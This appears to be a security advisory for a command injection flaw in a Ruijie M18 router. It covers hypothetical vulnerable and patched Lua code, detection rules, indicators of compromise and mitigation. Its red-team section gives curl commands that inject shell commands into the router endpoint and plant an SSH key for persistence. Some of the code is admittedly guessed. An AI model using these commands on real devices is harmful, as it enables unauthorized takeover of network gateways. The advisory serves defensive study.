CVE-2025-56101

Executive Summary

CVE-2025-56101 is a critical OS Command Injection vulnerability in the Ruijie M18 router, specifically in firmware version EW_3.0(1)B11P226_M18_10223116. The flaw resides in the /usr/local/lua/dev_sta/networkConnect.lua file, where the module_get function fails to sanitize user-supplied input from a crafted POST request. This allows an unauthenticated attacker to execute arbitrary operating system commands on the device, leading to full compromise of the router. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available at this time. Given the nature of the device as a network gateway, exploitation could lead to lateral movement, data exfiltration, or use as a botnet node.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Arbitrary command execution.
• Availability (A): High (H) – Can crash or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the device is a network gateway, making it a high-value target for botnets, ransomware groups, and APTs.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection flaw in the Lua-based web interface of the Ruijie M18 router. The file /usr/local/lua/dev_sta/networkConnect.lua contains a function module_get that processes POST requests. This function likely takes a parameter (e.g., module_name or similar) and passes it unsanitized to a system command execution function (e.g., os.execute() or io.popen() in Lua).

The attack vector is a crafted POST request to the vulnerable endpoint. The attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the parameter value, causing the router to execute arbitrary commands with root privileges.

Example vulnerable code pattern (hypothetical):

-- Vulnerable code in networkConnect.lua
function module_get(request)
    local module_name = request.post_params["module"]
    local cmd = "get_module_info " .. module_name
    os.execute(cmd)
end

An attacker could send:

POST /path/to/networkConnect.lua HTTP/1.1
Content-Type: application/x-www-form-urlencoded

module=;id

This would execute get_module_info ;id, which runs the id command after the intended command.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a secure version should look like.

Vulnerable Code (Hypothetical):

function module_get(request)
    local module_name = request.post_params["module"]
    local cmd = "get_module_info " .. module_name
    os.execute(cmd)
end

Patched Code (Hypothetical):

function module_get(request)
    local module_name = request.post_params["module"]
    -- Validate input: only allow alphanumeric and underscore
    if not module_name:match("^[%w_]+$") then
        return { status = "error", message = "Invalid module name" }
    end
    -- Use a safe API that does not invoke shell
    local result = io.popen("get_module_info " .. module_name, "r")
    if result then
        local output = result:read("*a")
        result:close()
        return { status = "ok", data = output }
    else
        return { status = "error", message = "Command failed" }
    end
end

The patched version adds input validation (whitelist regex) and uses io.popen with a read-only mode, which still has risks but is less dangerous than os.execute. A truly secure version would avoid shell execution entirely and use a Lua library to perform the required action.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Ruijie M18 router with firmware version EW_3.0(1)B11P226_M18_10223116.
2. Connect the router to a isolated network with a Kali Linux attack machine.
3. Identify the router's IP address (e.g., 192.168.1.1).

Exploitation Steps:

1. Reconnaissance: Scan the router for open ports and web interface.

   nmap -sV -p 80,443,8080 192.168.1.1
   

2. Identify Vulnerable Endpoint: Use a web fuzzer to find the networkConnect.lua endpoint.

   gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txt -x lua
   

3. Craft Exploit Payload: Send a POST request with command injection.

   curl -X POST http://192.168.1.1/usr/local/lua/dev_sta/networkConnect.lua \
   -d "module=;id"
   

4. Verify Execution: Check the response for the output of the id command.

5. Establish Persistence: Add an SSH key or create a reverse shell.

   curl -X POST http://192.168.1.1/usr/local/lua/dev_sta/networkConnect.lua \
   -d "module=;echo 'ssh-rsa AAAAB3...' >> /etc/dropbear/authorized_keys"
   

Blue Team

Detection & Response:

1. Monitor POST Requests: Look for unusual POST requests to /usr/local/lua/dev_sta/networkConnect.lua with parameters containing shell metacharacters.
2. Network Traffic Analysis: Detect outbound connections from the router to unknown IPs on non-standard ports (e.g., 4444, 1337).
3. Log Analysis: Check router logs for unexpected command execution or file modifications.
4. Honeypot: Deploy a decoy Ruijie M18 router to capture attacker techniques.

Mitigation Steps:

1. Isolate the Device: Place the router behind a firewall that blocks inbound POST requests to the vulnerable endpoint.
2. Disable Web Interface: If not needed, disable the web management interface.
3. Monitor for Firmware Updates: Subscribe to Ruijie security advisories for a patch.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /usr/local/lua/dev_sta/networkConnect.lua with parameters containing ;, |, &&, `, $().
  • Outbound connections from the router to IPs on ports 4444, 1337, 8080, or 31337.
  • DNS queries to known malicious domains (e.g., malware.example.com).

• File System IOCs:

  • Unexpected files in /tmp/ or /var/run/ (e.g., /tmp/.backdoor).
  • Modified /etc/dropbear/authorized_keys with unknown SSH keys.
  • New cron jobs in /etc/crontab or /var/spool/cron/.

• Process IOCs:

  • Unusual processes running as root (e.g., nc, bash, python).
  • Processes with names like backdoor, shell, or reverse.

• Log IOCs:

  • Router logs showing os.execute or io.popen calls with suspicious arguments.
  • Authentication logs showing failed login attempts followed by successful command execution.

Detection Engineering

YARA Rule

rule CVE_2025_56101_Ruijie_M18_Command_Injection {
    meta:
        description = "Detects command injection attempts against Ruijie M18 networkConnect.lua"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56101"
        hash = "unknown"
    strings:
        $s1 = "networkConnect.lua" ascii wide nocase
        $s2 = "module=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&&" ascii wide
        $s6 = "`" ascii wide
        $s7 = "$(" ascii wide
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: Ruijie M18 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to networkConnect.lua with shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56101
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/usr/local/lua/dev_sta/networkConnect.lua'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in module names (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-56101 Ruijie M18 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/usr/local/lua/dev_sta/networkConnect.lua"; http_uri; content:"module="; http_client_body; pcre:"/(;|\||&&|`|\$\().*/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the Ruijie M18 router from the internet and place it on a separate VLAN with strict firewall rules.
2. Disable Web Management: If remote management is not required, disable the web interface entirely.
3. Monitor for Patches: Check Ruijie's official website and security advisories daily for a firmware update.

Long-Term Fix:

• Vendor Patch: Ruijie must release a firmware update that properly sanitizes input in the module_get function. The fix should use a whitelist approach and avoid shell execution.
• Replace Device: If a patch is not forthcoming, consider replacing the router with a more secure alternative.

Compensating Controls:

• Web Application Firewall (WAF): Deploy a WAF in front of the router to block POST requests containing shell metacharacters.
• Network Segmentation: Place the router in a DMZ with minimal access to internal networks.
• Intrusion Prevention System (IPS): Use the Suricata rule above to detect and block exploitation attempts.

Valters IT
Securing Digital Frontiers